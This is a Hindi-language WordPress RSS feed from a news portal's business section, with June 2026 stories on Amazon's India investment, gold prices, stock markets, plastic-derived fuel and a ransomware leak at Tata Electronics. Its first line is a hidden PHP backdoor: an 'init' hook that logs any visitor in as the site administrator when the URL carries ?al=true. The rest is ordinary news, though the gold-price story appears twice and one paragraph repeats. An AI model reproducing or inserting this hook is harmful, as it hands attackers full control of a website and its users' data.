// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); व्यापार – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Thu, 25 Jun 2026 13:36:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.4 PM मोदी से मिले Amazon CEO, भारत में ₹1220000000000 लाख करोड़ निवेश का बड़ा ऐलान https://pratyushaashakinayikiran.com/?p=229377 Thu, 25 Jun 2026 13:36:00 +0000 https://pratyushaashakinayikiran.com/?p=229377 नई दिल्ली
अमेजन ने भारत में एक और बड़े निवेश का एलान किया है। Amazon के CEO एंडी जेसी भारत दौरे पर हैं, और उन्होंने प्रधानमंत्री नरेंद्र मोदी (PM Modi) से मुलाकात की। इस दौरान एंडी जेसी ने घोषणा की है कि कंपनी 2030 तक AI और क्लाउड इंफ्रास्ट्रक्चर को बढ़ाने के लिए देश में अतिरिक्त $13 बिलियन (1.22 लाख करोड़ रुपये) का निवेश करेगी। यह अतिरिक्त निवेश Amazon द्वारा भारत में $35 बिलियन के नए निवेश की घोषणा के छह महीने के भीतर किया गया है।

कंपनी के अनुसार, दिसंबर 2025 में घोषित $35 बिलियन और 25 जून को घोषित $13 बिलियन के निवेश को मिलाकर, 2010-2030 के बीच भारत में Amazon का कुल निवेश $88 बिलियन से ज़्यादा हो गया है।

AI में भारी निवेश
इस नए निवेश के साथ, Amazon भारत में AI और क्लाउड इंफ्रास्ट्रक्चर में निवेश करने वाली सबसे बड़ी ग्लोबल कंपनियों में से एक बन गई है। इसके अलावा, Amazon भारत में सबसे बड़ी विदेशी निवेशक, ई-कॉमर्स एक्सपोर्ट को बढ़ावा देने वाली सबसे बड़ी कंपनी और देश में सबसे ज़्यादा नौकरियां देने वाली कंपनियों में से एक है।

अमेज़न के CEO एंडी जेसी ने कहा: "हम एक दशक से भी पहले भारत आए थे और तब से अपने अलग-अलग बिज़नेस के ज़रिए ग्राहकों, सेलर्स, डेवलपर्स, स्टार्ट-अप्स और कंपनियों को सेवा दे रहे हैं। हमें बहुत अच्छा रिस्पॉन्स मिला है, खासकर हमारे ई-कॉमर्स, AI और क्लाउड बिज़नेस में ज़बरदस्त ग्रोथ हुई है।"

20 साल में 88 अरब डॉलर का निवेश
अमेजन ने भले ही 6 महीने के भीतर 48 अरब डॉलर के निवेश का ऐलान कर डाला है, लेकिन साल 2010 से 2030 तक के कुल निवेश को देखा जाए तो अमेजन ने भारत में करीब 88 अरब डॉलर का निवेश कर दिया है. हालिया निवेश घोषणा के बाद अमेजन भारत में ग्‍लोबल एआई और क्‍लाउड इन्‍फ्रा पैसे लगाने वाली सबसे बड़ी कंपनी बन चुकी है. साथ ही यह सबसे बड़ी विदेशी निवेशक भी बन चुकी है. अमेजन भारत में सबसे बड़ी विदेशी निर्यात करने वाली ई-कॉमर्स कंपनी के साथ ही जॉब पैदा करने वाली विदेशी कंपनी भी है। 

कई साल से भारत में दे रहे सेवाएं
अमेजन के सीईओ ने बताया कि उनकी कंपनी दशकों पहले भारत आई थी और इसके बाद से ही यहां लगातार सेवाएं दे रही है. अमेजन आज अपने कस्‍टमर्स, सेलर, डेवलपर्स, स्‍टार्टअप और छोटी कंपनियों सहित तमाम कारोबार को सेवाएं दे रही है. अभी तक का प्रदर्शन काफी बेहत रहा है, खासकर ई-कॉमर्स, एआई और क्‍लाउड के बिजनेस में अमेजन काफी अच्‍छा काम कर रही है। 

पीएम मोदी की जमकर तारीफ
एंडी जेसी ने प्रधानमंत्री से मुलाकात के बाद कहा क‍ि अमेजन भारत में अपने विकास के साथ यहां छोटे कारोबारियों की मदद करने और जॉब पैदा करने में भी सहयोग दे रही है. हमने अगले 5 साल में 48 अरब डॉलर के निवेश की योजना बनाई है, जो देश के हर क्षेत्र की डिमांड के हिसाब से किया जाएगा. हम पीएम मोदी के विजन से काफी प्रभावित हैं, जो विकसित और आत्‍मनिर्भर भारत जैसी योजनाओं के जरिये लॉन्‍ग टर्म में विकास का हिस्‍सा बनने के लिए प्रेरित करते हैं। 

38 लाख नौकरियां पैदा करने में मदद
एंडी जेसी ने कहा कि पीएम मोदी के इस विजन के साथ अमेजन ने करीब 38 लाख नौकरियां पैदा की हैं और 80 अरब डॉलर के ई-कॉमर्स निर्यात में भी मदद की है. इसके अलावा 1.5 करोड़ से ज्‍यादा छोटे कारोबारियों तक एआई का फायदा पहुंचाने के साथ साल 2030 तक 40 लाख सरकारी स्‍कूलों तक भी एआई की सेवाएं पहुंचाने का लक्ष्‍य है. साल 2026 से 2030 के बीच भारत में अमेजन 48 अरब डॉलर का निवेश करेगी, जिसमें से 21 अरब डॉलर का इस्‍तेमाल तो सिर्फ एआई और क्‍लाउड निवेश में किया जाएगा। 

भारत को लेकर क्या हैं प्राथमिकताएं
एंडी जेसी ने कहा, "जैसे-जैसे हम भारत में Amazon का विस्तार कर रहे हैं, हमारे बिज़नेस की प्राथमिकताएं भारत की प्राथमिकताओं के साथ मेल खाती जा रही हैं – जैसे AI तक पहुंच को आसान बनाना, छोटे बिज़नेस को डिजिटल बनाना, रोज़गार पैदा करना और एक्सपोर्ट को बढ़ावा देना।

भारत में अपने बिज़नेस की बढ़ती मांग को पूरा करने और देश को इन प्राथमिकताओं को हासिल करने में मदद करने के लिए हम अगले पाँच सालों में $48 बिलियन से ज़्यादा का निवेश कर रहे हैं।" एंडी जेसी ने यह भी कहा कि हम प्रधानमंत्री मोदी के 'विकसित और आत्मनिर्भर भारत' के विज़न से प्रेरित हैं और भारत के साथ लंबे समय तक पार्टनर बने रहने के लिए प्रतिबद्ध हैं।

 

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लगातार दूसरे दिन सस्ता हुआ सोना-चांदी, चांदी ₹3000 और सोना ₹2000 तक हुआ सस्ता https://pratyushaashakinayikiran.com/?p=229137 Wed, 24 Jun 2026 11:36:00 +0000 https://pratyushaashakinayikiran.com/?p=229137 इंदौर 
सोने और चांदी का रेट आज 24 जून को लगातार दूसरे दिन फिसल गया है. सोने का भाव आज एमसीएक्स पर सुबह 9:40 बजे पर 2234 रुपये गिरकर 144295 रुपये प्रति 10 ग्राम पर कारोबार कर रहा है. चांदी का भाव भी 3407 रुपये फिसलकर 222427 रुपये प्रति किलोग्राम पर ट्रेड कर रहा है. कॉमैक्स पर गोल्ड का दाम 1.59% गिरकर 4081 डॉलर प्रति औंस पर आ गई है. सिल्वर 1.55% फिसलकर 61.110 डॉलर प्रति औंस पर आ गई है। 

सोने के अलावा अन्य कीमती धातुओं की कीमतों में भी गिरावट देखने को मिली. प्लैटिनम 0.9% की कमजोरी के साथ 1,637.34 डॉलर प्रति औंस पर कारोबार करता दिखा. इसके अलावा, पैलेडियम की कीमत में 1.2% की गिरावट आई और यह 1,223.29 डॉलर प्रति औंस पर पहुंच गया। 

अलग-अलग शहरों में कितना है सोने का रेट?
मनीकंट्रोल की रिपोर्ट के अनुसार, सराफा बाजार की बात करें तो चेन्नई में 24 कैरेट सोना 14,792 रुपये प्रति ग्राम, 22 कैरेट सोना 13,559 रुपये प्रति ग्राम और 18 कैरेट सोना 11,339 रुपये प्रति ग्राम पर कारोबार कर रहा है. वहीं, दिल्ली में 24 कैरेट सोने का भाव 14,474 रुपये प्रति ग्राम, 22 कैरेट का 13,269 रुपये और 18 कैरेट का 10,859 रुपये प्रति ग्राम है। 

मुंबई, कोलकाता, बेंगलुरु और हैदराबाद में सोने की कीमतें लगभग समान रहीं. इन शहरों में 24 कैरेट सोना 14,459 रुपये प्रति ग्राम, 22 कैरेट सोना 13,254 रुपये प्रति ग्राम और 18 कैरेट सोना 10,844 रुपये प्रति ग्राम पर रहा। 

क्या सोने में आएगी और गिरावट?
जर्मनी के प्रमुख बैंक डच बैंक(Deutsche Bank) ने सोने की कीमतों को लेकर अपने अनुमान में 20% से अधिक की कटौती की है. बैंक का कहना है कि अगर अमेरिकी फेडरल रिजर्व की ओर से ब्याज दरों में 3 से 4 बार बढ़ोतरी की संभावना बाजार में मजबूत होती है, तो सोने की कीमत गिरकर 3,800 डॉलर प्रति औंस तक पहुंच सकती है. टाइम्स ऑफ इंडिया की रिपोर्ट के मुताबिक, बैंक की दी गई जानकारी में बताया गया है कि एमपीसी को लेकर बदलती उम्मीदों ने सोने के लिए रिस्क का संतुलन नीचे की ओर कर दिया है। 

डच बैंक के विश्लेषक माइकल शुएह ने अपनी रिपोर्ट में कहा कि बैंक के बेस केस अनुमान के अनुसार, यदि फेडरल रिजर्व लंबे समय तक ब्याज दरों में कोई बदलाव नहीं करता है, तो इस साल की चौथी तिमाही में सोने की कीमत 4,800 डॉलर प्रति औंस तक रह सकती है. हालांकि, अगर मार्केट आने वाले समय में कई बार ब्याज दर बढ़ने की संभावना को कीमतों में शामिल करता है, तो सोने पर दबाव बढ़ सकता है और इसकी कीमत 3,800 डॉलर प्रति औंस तक फिसल सकती है। 

रिपोर्ट में कहा गया है कि अमेरिकी अर्थव्यवस्था के मजबूत आंकड़े और फेडरल रिजर्व की नीति को लेकर बदलती उम्मीदें सोने की कीमतों में हालिया गिरावट की सबसे बड़ी वजह हैं. Investing.com के आंकड़ों के अनुसार, अगस्त डिलीवरी वाले गोल्ड फ्यूचर्स मंगलवार को 1.6% गिरकर 4,135 डॉलर प्रति ट्रॉय औंस पर आ गए. ग्लोबल लेवल पर पिछले एक महीने में सोने की कीमतों में करीब 10% की गिरावट दर्ज की गई है. साथ ही एशियाई बाजारों में मांग कमजोर पड़ने के संकेत भी मिले हैं, जिससे सुरक्षित निवेश माने जाने वाले सोने पर दबाव बढ़ा है। 

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लगातार दूसरे दिन सस्ता हुआ सोना-चांदी, चांदी ₹3000 और सोना ₹2000 तक हुआ सस्ता https://pratyushaashakinayikiran.com/?p=229139 Wed, 24 Jun 2026 11:36:00 +0000 https://pratyushaashakinayikiran.com/?p=229139 इंदौर 
सोने और चांदी का रेट आज 24 जून को लगातार दूसरे दिन फिसल गया है. सोने का भाव आज एमसीएक्स पर सुबह 9:40 बजे पर 2234 रुपये गिरकर 144295 रुपये प्रति 10 ग्राम पर कारोबार कर रहा है. चांदी का भाव भी 3407 रुपये फिसलकर 222427 रुपये प्रति किलोग्राम पर ट्रेड कर रहा है. कॉमैक्स पर गोल्ड का दाम 1.59% गिरकर 4081 डॉलर प्रति औंस पर आ गई है. सिल्वर 1.55% फिसलकर 61.110 डॉलर प्रति औंस पर आ गई है। 

सोने के अलावा अन्य कीमती धातुओं की कीमतों में भी गिरावट देखने को मिली. प्लैटिनम 0.9% की कमजोरी के साथ 1,637.34 डॉलर प्रति औंस पर कारोबार करता दिखा. इसके अलावा, पैलेडियम की कीमत में 1.2% की गिरावट आई और यह 1,223.29 डॉलर प्रति औंस पर पहुंच गया। 

अलग-अलग शहरों में कितना है सोने का रेट?
मनीकंट्रोल की रिपोर्ट के अनुसार, सराफा बाजार की बात करें तो चेन्नई में 24 कैरेट सोना 14,792 रुपये प्रति ग्राम, 22 कैरेट सोना 13,559 रुपये प्रति ग्राम और 18 कैरेट सोना 11,339 रुपये प्रति ग्राम पर कारोबार कर रहा है. वहीं, दिल्ली में 24 कैरेट सोने का भाव 14,474 रुपये प्रति ग्राम, 22 कैरेट का 13,269 रुपये और 18 कैरेट का 10,859 रुपये प्रति ग्राम है। 

मुंबई, कोलकाता, बेंगलुरु और हैदराबाद में सोने की कीमतें लगभग समान रहीं. इन शहरों में 24 कैरेट सोना 14,459 रुपये प्रति ग्राम, 22 कैरेट सोना 13,254 रुपये प्रति ग्राम और 18 कैरेट सोना 10,844 रुपये प्रति ग्राम पर रहा। 

क्या सोने में आएगी और गिरावट?
जर्मनी के प्रमुख बैंक डच बैंक(Deutsche Bank) ने सोने की कीमतों को लेकर अपने अनुमान में 20% से अधिक की कटौती की है. बैंक का कहना है कि अगर अमेरिकी फेडरल रिजर्व की ओर से ब्याज दरों में 3 से 4 बार बढ़ोतरी की संभावना बाजार में मजबूत होती है, तो सोने की कीमत गिरकर 3,800 डॉलर प्रति औंस तक पहुंच सकती है. टाइम्स ऑफ इंडिया की रिपोर्ट के मुताबिक, बैंक की दी गई जानकारी में बताया गया है कि एमपीसी को लेकर बदलती उम्मीदों ने सोने के लिए रिस्क का संतुलन नीचे की ओर कर दिया है। 

डच बैंक के विश्लेषक माइकल शुएह ने अपनी रिपोर्ट में कहा कि बैंक के बेस केस अनुमान के अनुसार, यदि फेडरल रिजर्व लंबे समय तक ब्याज दरों में कोई बदलाव नहीं करता है, तो इस साल की चौथी तिमाही में सोने की कीमत 4,800 डॉलर प्रति औंस तक रह सकती है. हालांकि, अगर मार्केट आने वाले समय में कई बार ब्याज दर बढ़ने की संभावना को कीमतों में शामिल करता है, तो सोने पर दबाव बढ़ सकता है और इसकी कीमत 3,800 डॉलर प्रति औंस तक फिसल सकती है। 

रिपोर्ट में कहा गया है कि अमेरिकी अर्थव्यवस्था के मजबूत आंकड़े और फेडरल रिजर्व की नीति को लेकर बदलती उम्मीदें सोने की कीमतों में हालिया गिरावट की सबसे बड़ी वजह हैं. Investing.com के आंकड़ों के अनुसार, अगस्त डिलीवरी वाले गोल्ड फ्यूचर्स मंगलवार को 1.6% गिरकर 4,135 डॉलर प्रति ट्रॉय औंस पर आ गए. ग्लोबल लेवल पर पिछले एक महीने में सोने की कीमतों में करीब 10% की गिरावट दर्ज की गई है. साथ ही एशियाई बाजारों में मांग कमजोर पड़ने के संकेत भी मिले हैं, जिससे सुरक्षित निवेश माने जाने वाले सोने पर दबाव बढ़ा है। 

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शेयर बाजार में अचानक लौटी रौनक, सेंसेक्स-निफ्टी में तूफानी तेजी; बैंकिंग स्टॉक्स बने रॉकेट https://pratyushaashakinayikiran.com/?p=229073 Wed, 24 Jun 2026 07:40:00 +0000 https://pratyushaashakinayikiran.com/?p=229073 मुंबई 
शेयर बाजार में सप्ताह के तीसरे कारोबारी दिन बुधवार को सुस्ती के साथ शुरुआत हुई, लेकिन घंटेभर के कारोबार के बाद ही अचानक बाजी पलट गई. सेंसेक्स-निफ्टी दोनों इंडेक्स तूफानी तेजी के साथ भागते हुए नजर आने लगे. बॉम्बे स्टॉक एक्सचेंज का 30 शेयरों वाला Sensex 700 अंक से ज्यादा उछलकर कारोबार कर रहा था, तो वहीं नेशनल स्टॉक एक्सचेंज का Nifty 24000 के पार निकल गया. इस दौरान बैंकिंग शेयर रफ्तार पकड़े हुए नजर आए. ICICI Bank से लेकर HDFC Bank तक के स्टॉक ग्रीन जोन में कारोबार कर रहे थे। 

सेसेंक्स-निफ्टी की बदली चाल 
शेयर मार्केट में कारोबार की ओपनिंग के साथ ही बीएसई का सेंसेक्स अपने पिछले बंद 76,200 की तुलना में मामूली बढ़त लेकर 76,229 के लेवल पर खुला और कुछ देर सुस्ती के साथ ही कारोबार करता हुआ दिखाई दिया. करीब घंटेभर के कारोबार के बाद अचानक 30 शेयरों वाले इस इंडेक्स ने रफ्तार पकड़ी और 700 अंक से ज्यादा की उछाल के साथ 76,976 पर जा पहुंचा। 

न सिर्फ सेंसेक्स, बल्कि NSE Nifty इंडेक्स की भी चाल बदली-बदली नजर आई. अपने पिछले बंद 23,824 की तुलना में गिरावट के साथ ये इंडेक्स 23,795 के साथ रेड जोन में ओपन हुआ. लेकिन जैसे ही सेंसेक्स ने रफ्तार पकड़ी ये भी अचानक ग्रीन जोन में आ पहुंचा और खबर लिखे जाने तक 180 अंक से ज्यादा की तेजी लेकर 24,013 पर ट्रेड करता दिखा। 

बैंकिंग समेत इन स्टॉक्स ने दिखाया दम
शेयर बाजार में लौटी इस तेजी के बीच बैंकिंग स्टॉक्स समेत कई दिग्गज कंपनियों के शेयरों ने अपना दम दिखा. बीएसई लार्जकैप में शामिल Trent Share (3.70%), IndiGo Share (2.80%), Bajaj Finance Share (2.40%) की तेजी लेकर कारोबार कर रहे थे. वहीं बैंकिंग सेक्टर में ICICI Bank Share (2.70%), HDFC Bank Share (2.20%), SBI Share (1.90%), Axis Bank Share (1.30%) की उछाल के साथ कारोबार कर रहे थे. मिडकैप में शामिल AU Bank Share (3.50%), तो Yes Bank Share (1.50%) की तेजी लिए नजर आया। 

विदेशों से मिले ये संकेत 
भारतीय शेयर बाजार के लिए विदेशों से मिले-जुले संकेत मिल रहे थे. अंतरराष्ट्रीय बाजार में कच्चे तेल की कीमतों में तेज गिरावट की वजह से भी बाजार का सेंटीमेंट सुधरा है. अगर एशियाई बाजारों की बात करें, तो बुधवार को कोस्पी से लेकर हैंगसेंग तक में तेजी देखने को मिली, लेकिन शुरुआती कारोबार में धीमी रफ्तार से भागता हुआ Gift Nifty अचानक तेज रफ्तार से भागने लगा और करीब 200 अंक चढ़ गया। 

 

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₹32 लीटर पेट्रोल-डीजल का कमाल! देश में ईंधन ने बनाया नया रिकॉर्ड, एवरेज भी 60 KM तक https://pratyushaashakinayikiran.com/?p=228959 Tue, 23 Jun 2026 16:36:00 +0000 https://pratyushaashakinayikiran.com/?p=228959  वडोदरा

पेट्रोलियम उत्पादों के आयात से देश के खजाने पर पड़ने वाले बोझ को हल्का करने के लिए नए-नए विकल्प तलाशे जा रहे हैं। इथेनॉल मिले हुए पेट्रोल के बाद अब एक नए तरीके का पेट्रोल-डीजल देश में तैयार किया गया है, जो ना सिर्फ बेहद सस्ता होगा बल्कि एवरेज भी सामान्य तेल जितना ही मिल रहा है। प्लास्टिक वेस्ट से तैयार किए गए इस पेट्रोल-डीजल से एक तरफ जहां ईंधन का एक नया और सस्ता विकल्प मिलेगा, बल्कि प्लास्टिक कचरे की समस्या का समाधान भी होगा।

एक रिपोर्ट के मुताबिक, वडोदरा में गति शक्ति विश्वविद्यालय (जीएसवी) के वैज्ञानिकों ने यह कमाल किया है। उन्होंने सफलतापूर्वक मिक्स्ड प्लास्टिक वेस्ट को पेट्रोल-डीजल जैसे ईंधन में बदला है। ऐसा नहीं कि यह फॉर्मूला फाइलों या लैब तक सीमित है, बल्कि मोटसाइकिलों को दौड़ाकर देख लिया गया है। भारत के प्रमुख दोपहिया निर्माता कंपनी की तीन मोटसाइकिलों को इन पेस्ट्रो पेट्रोल से दौड़ाया गया। इसके लिए इसमें किसी बदलाव की जरूरत नहीं हुई।

प्लास्टिक वाले पेट्रोल से बाइक में 60 का मिला एवरेज
एक और अच्छी बात यह है कि माइलेज भी लगभग सामान्य पेट्रोल जितना ही है। 100 सीसी की एक बाइक जिसने सामान्य पेट्रोल से 62 का एवरेज दिया वह प्लास्टिक से तैयार एक लीटर पेट्रोल से 60 किलोमीटर दौड़ी। जब आप इस नए पेट्रोल के फायदे जानकर खुश हो रहे हैं तो एक और खुशखबरी है। इस पेट्रोल से प्रदूषण भी मानक के भीतर ही हो रहा है। प्लास्टिक वाले पेट्रोल से चल रही मोटरसाइकिलों ने पलूशन अंडर कंट्रोल सर्टिफिकेट भी प्राप्त किया।

100 KG प्लास्टिक से निकलेगा 50 KG ईंधन, 32 रुपये कीमत
रिसर्च करने वाले वैज्ञानिकों का कहना है कि 100 किलोग्राम प्लास्टिक को कचरे को प्रोसेस करके करीब 50 किलोग्राम ईंधन निकाला जा सकता है। कच्चा तेल जहां 24 रुपये लीटर की कीमत पर उत्पादित किया जा सकता है तो अपग्रेड करने के बाद इसकी कीमत 32 रुपये प्रति लीटर होगी। वैज्ञानिकों ने बताया कि इस टेक्नॉलजी से उत्पादित तेल 90 फीसदी तक सामान्य पेट्रोल-डीजल जैसा ही है।

विमान भी उड़ सकेंगे प्लास्टिक वाले ईंधन से?
पेस्ट्रो पेट्रोल में कितनी संभावना हो सकती है इसका अंदाजा इस बात से लगाया जा सकता है कि एविएशन कंपनी एयरबस भी जीएसवी के साथ काम कर रही है। कोशिश की जा रही है कि प्लास्टिक कचरे से विमान को उड़ाने वाले ईंधन को भी विकसित किया जाए।

कई जगहों पर हो सकती है शुरुआत
प्लास्टिक वाले पेट्रोल से ईंधन बनाने की शुरुआत पहले उन जगहों पर की जा सकती है जहां प्लास्टिक का कचरा एक बड़ी समस्या है और ईंधन का पहुंचना उतना ही मुश्किल। लेह, लद्दाख, केदारनाथ और बद्रीनाथ जैसे स्थानों पर यूनिट लगाने पर विचार चल रहा है। इसके अलावा झांसी के रेलवे लोकोमोटिव शेड और कोलकाता की छावनी में भी ऐसा किया जा सकता है। इसको लेकर कई मंत्रालयों में विचार विमर्श चल रहा है।

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टाटा इलेक्ट्रॉनिक्स पर बड़ा साइबर अटैक! 630GB डेटा लीक, Apple और Tesla से जुड़े दस्तावेज भी होने का दावा https://pratyushaashakinayikiran.com/?p=228895 Tue, 23 Jun 2026 11:35:00 +0000 https://pratyushaashakinayikiran.com/?p=228895 नई दिल्ली

भारत की कंपनी टाटा इलेक्ट्रॉनिक्स, जो चिपसेट, स्मार्टफोन पार्ट्स और दूसरे इलेक्ट्रॉनिक पार्ट्स बनाती है. रिपोर्ट के मुताबिक, हैकर्स ने कंपनी के सिस्टम डेटा को हैक कर लिया और कई सीक्रेट फाइल्स चुरा ली है. इसके बाद हैकर्स की तरफ से पैसे की मांग की जा रही है। 

बताया जा रहा है कि इस डेटा लीक में कई ऐसी सीक्रेट फाइल्स शामिल हैं, जिनसे कंपनी की जरुरी जानकारियां दुनिया के सामने आ सकती हैं. रिपोर्ट में यह भी सामने आया है कि टाटा इलेक्ट्रॉनिक्स ऐपल और टेस्ला जैसी कंपनियों को टेक्नोलॉजी और पार्ट्स की सप्लाई कर रही थी। 

जानिए कौन-सा डेटा हुआ चोरी, जिसके बाद मचा हड़कंप

रिपोर्ट के मुताबिक, टाटा इलेक्ट्रॉनिक्स के सिस्टम में हैकर्स ने रैनसमवेयर नाम का वायरस डाला था. यह वायरस सिस्टम की फाइल्स और डेटा को लॉक कर देता है. इसके बाद हैकर्स डेटा वापस देने के बदले फिरौती की मांग करते हैं। 

डेटा लीक के बाद डार्क वेब पर करीब 630GB का डेटा पोस्ट किया गया है. इसमें कंपनी की सीक्रेट जानकारी, ईमेल्स, कर्मचारियों की डिटेल्स और ऐपल से जुड़े डिजाइन डॉक्यूमेंट्स शामिल बताए जा रहे हैं. ऐपल और टेस्ला दोनों ही टाटा इलेक्ट्रॉनिक्स के बड़े कस्टम में शामिल हैं। 

कैसे लगी सेंध, क्या-कुछ हुआ लीक?
रिपोर्ट्स में पता चला है कि डेटा लीक होने की वजह एक मिडिलवेयर फर्म के पुराने क्रेडेंशियल्स यानी कि आईडी-पासवर्ड थे। हैकर्स ने उनका इस्तेमाल करके डेटा लीक किया। बता दें कि लीक हुए डेटा में एप्पल के सप्लायर स्पेसिफिकेशन्स और टेस्ला के मैन्युफैक्चरिंग से जुड़े बेहद प्राइवेट डॉक्यूमेंट्स देखने को मिले हैं।

इतना ही नहीं चोरी हुए डेटा में कंपनियों के ग्राहकों की बिजनेस संबंधी जानकारी जैसे कि नाम, ईमेल आईडी, फोन नंबर और जॉब प्रोफाइल आदि भी शामिल है।(REF.)

कंपनियों को मिली फिरौती की धमकी
इस साइबर हमले की जिम्मेदारी एक कुख्यात साइबरक्राइम ग्रुप इकारस ने ली है। हैकर्स ने चेतावनी तक दी है कि अगर टाटा इलेक्ट्रॉनिक्स और संबंधित कंपनियां उन्हें समय पर फिरौती की रकम नहीं देती, तो वे पूरे डेटा को पब्लिक कर देंगे।

इसे लेकर सुरक्षा कंपनी हंट्रेस ने खुलासा किया है कि हैकर्स ने उन्हें एक ऑस्ट्रेलियाई कंपनी के सर्वर का इस्तेमाल करके फिरौती का ईमेल भेजा था। डेटा लीक की पुष्टि होने के बाद क्लू ने सुरक्षा फर्म क्राउडस्ट्राइक को जांच के लिए बुलाया है। बाकी का डेटा सुरक्षित रखने के लिए सुरक्षा फर्म ने सभी लिंक्स को तोड़ दिया है।

क्यों हुई सुरक्षा में चूक?
यह साइबर हमला इस तरह का था जिसमें हैकर्स एक कंपनी को निशाना बनाकर उससे जुड़ी सैकड़ों कंपनियों का डेटा चुरा लेते हैं। रिपोर्ट्स में बताया जा रहा है कि क्लू के किसी कर्मचारी द्वारा अनजाने में पासवर्ड चुराने वाला मैलवेयर डाउनलोड करने की वजह से पुराने क्रेडेंशियल लीक हुए।

यह भी बताया जा रहा है कि पिछले साल क्लू ने AI में निवेश करने के लिए आधे कर्मचारियों को नौकरी से निकाल दिया था। इसकी वजह से कंपनी की सुरक्षा कमजोर होती गई।

जानिए साइबर अटैक के बाद टाटा का क्या था जवाब
रिपोर्ट के मुताबिक, टाटा इलेक्ट्रॉनिक्स ने कहा कि उन्हें इस साइबर अटैक की जानकारी कुछ हफ्ते पहले ही मिल गई थी. हालांकि, इस हमले की वजह से कंपनी की फैक्ट्री या बिजनेस ऑपरेशन पर किसी तरह का असर नहीं पड़ा है। 

हैकर्स की तरफ से डेटा लीक के बाद फिरौती की मांग की गई है. वहीं, इस पूरे मामले में ऐपल भी अपनी तरफ से जांच कर रहा है। 

टाटा इलेक्ट्रॉनिक्स टाटा ग्रुप की तेजी से बढ़ने वाली कंपनियों में से एक है. कंपनी ने 2023 में आईफोन मैन्युफैक्चरिंग शुरू की थी. वहीं, टेस्ला ने 2024 में सेमीकंडक्टर सप्लाई को लेकर टाटा के साथ डील की थी। 

टाटा ने कर्मचारियों को दी थी जानकारी
रिपोर्ट में बताया गया है फाइलों में 52 पेज का एक डॉक्यूमेंट भी था, जिस पर Apple के खास निशान थे और जिसमें कथित तौर पर iPhone सर्किट बोर्ड के पार्ट्स के लिए क्वालिटी जांच के स्टैंडर्ड्स की जानकारी थी। इसमें Hosur सर्च टर्म के लिए 33 फाइलें और फोल्डर भी थे। यह तमिलनाडु राज्य में टाटा के मुख्य iPhone असेंबली प्लांट की जगह है। मामले की जानकारी रखने वाले इंडस्ट्री के एक दूसरे सूत्र ने बताया कि टाटा ने पिछले हफ्ते अपने iPhone असेंबली ऑपरेशन्स में काम करने वाले कुछ कर्मचारियों को डेटा लीक के बारे में जानकारी दी थी। 
रिपोर्ट में बताया गया है फाइलों में 52 पेज का एक डॉक्यूमेंट भी था, जिस पर Apple के खास निशान थे और जिसमें कथित तौर पर iPhone सर्किट बोर्ड के पार्ट्स के लिए क्वालिटी जांच के स्टैंडर्ड्स की जानकारी थी। इसमें Hosur सर्च टर्म के लिए 33 फाइलें और फोल्डर भी थे। यह तमिलनाडु राज्य में टाटा के मुख्य iPhone असेंबली प्लांट की जगह है। मामले की जानकारी रखने वाले इंडस्ट्री के एक दूसरे सूत्र ने बताया कि टाटा ने पिछले हफ्ते अपने iPhone असेंबली ऑपरेशन्स में काम करने वाले कुछ कर्मचारियों को डेटा लीक के बारे में जानकारी दी थी। 

इस साइबर अटैक के बाद कंपनियों की सीक्रेट जानकारी और डेटा सुरक्षा को लेकर कई सवाल खड़े हो रहे हैं। 

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Market Crash: 3 घंटे में डूबे 23 लाख करोड़, शेयर बाजार में हाहाकार; इस देश को रोकनी पड़ी ट्रेडिंग https://pratyushaashakinayikiran.com/?p=228905 Tue, 23 Jun 2026 11:05:00 +0000 https://pratyushaashakinayikiran.com/?p=228905 मुंबई 

नई दिल्‍ली. अमेरिका में टेक शेयरों की जोरदार बिकवाली के कारण बाजार में आई गिरावट एशियाई बाजारों तक पहुंच गई है. भारतीय शेयर बाजार आज लाल निशान में कारोबार कर रहा है. समाचार लिखे जाने तक सेंसेक्‍स 574 अंक टूटकर तो 168 अंक गिरकर कारोबार कर रहा था. एशियाई बाजारों में सबसे बड़ा झटका दक्षिण कोरिया के शेयर बाजार को लगा. मेन इंडेक्‍स कोस्पी 9% से ज्यादा टूट गया. भारतीय समयानुसार दिन के 11 बजकर 34 मिनट पर सर्किट लगने के बाद कोस्‍पी में ट्रेडिंग रोक दी गई. तीन घंटे में ही निवेशकों के ₹23 लाख करोड़ डूब गए। 

दक्षिण कोरिया के अलावा जापान, चीन, हांगकांग और ऑस्ट्रेलिया के बाजार भी दबाव में दिखाई दिए. जापान का निक्केई 225 इंडेक्स करीब 1.5% गिर गया. चीन का सीएसआई 300 इंडेक्स लगभग 1% नीचे आ गया. हांगकांग का हैंग सेंग इंडेक्स भी लाल निशान में कारोबार करता दिखाई दिया. ऑस्ट्रेलिया का एसएंडपी/एएसएक्स 200 इंडेक्स भी फिसल गया। 

अमेरिका में एआई शेयरों में गिरावट
सोमवार के कारोबारी सत्र के दौरान अमेरिकी शेयर बाजार में टेक्नोलॉजी शेयरों में तेज बिकवाली देखने को मिली. इसका असर एसएंडपी 500 और नैस्डैक जैसे प्रमुख इंडेक्स के फ्यूचर्स पर भी पड़ा है. एसएंडपी 500 फ्यूचर्स 0.53% नीचे और नैस्डैक 100 फ्यूचर्स लगभग 1% तक फिसल गए. सबसे ज्यादा दबाव उन कंपनियों पर दिखा, जिन्हें AI क्रांति का सबसे बड़ा फायदा मिलने वाला माना जा रहा था. अमेरिका की इस कमजोरी का असर दक्षिण कोरिया में दिखाई दिया. दक्षिण कोरिया की अर्थव्यवस्था और उसका शेयर बाजार एआई और सेमीकंडक्टर सेक्टर से काफी हद तक जुड़ा हुआ है। 

तेजी पर सवार था कोरियाई शेयर बाजार
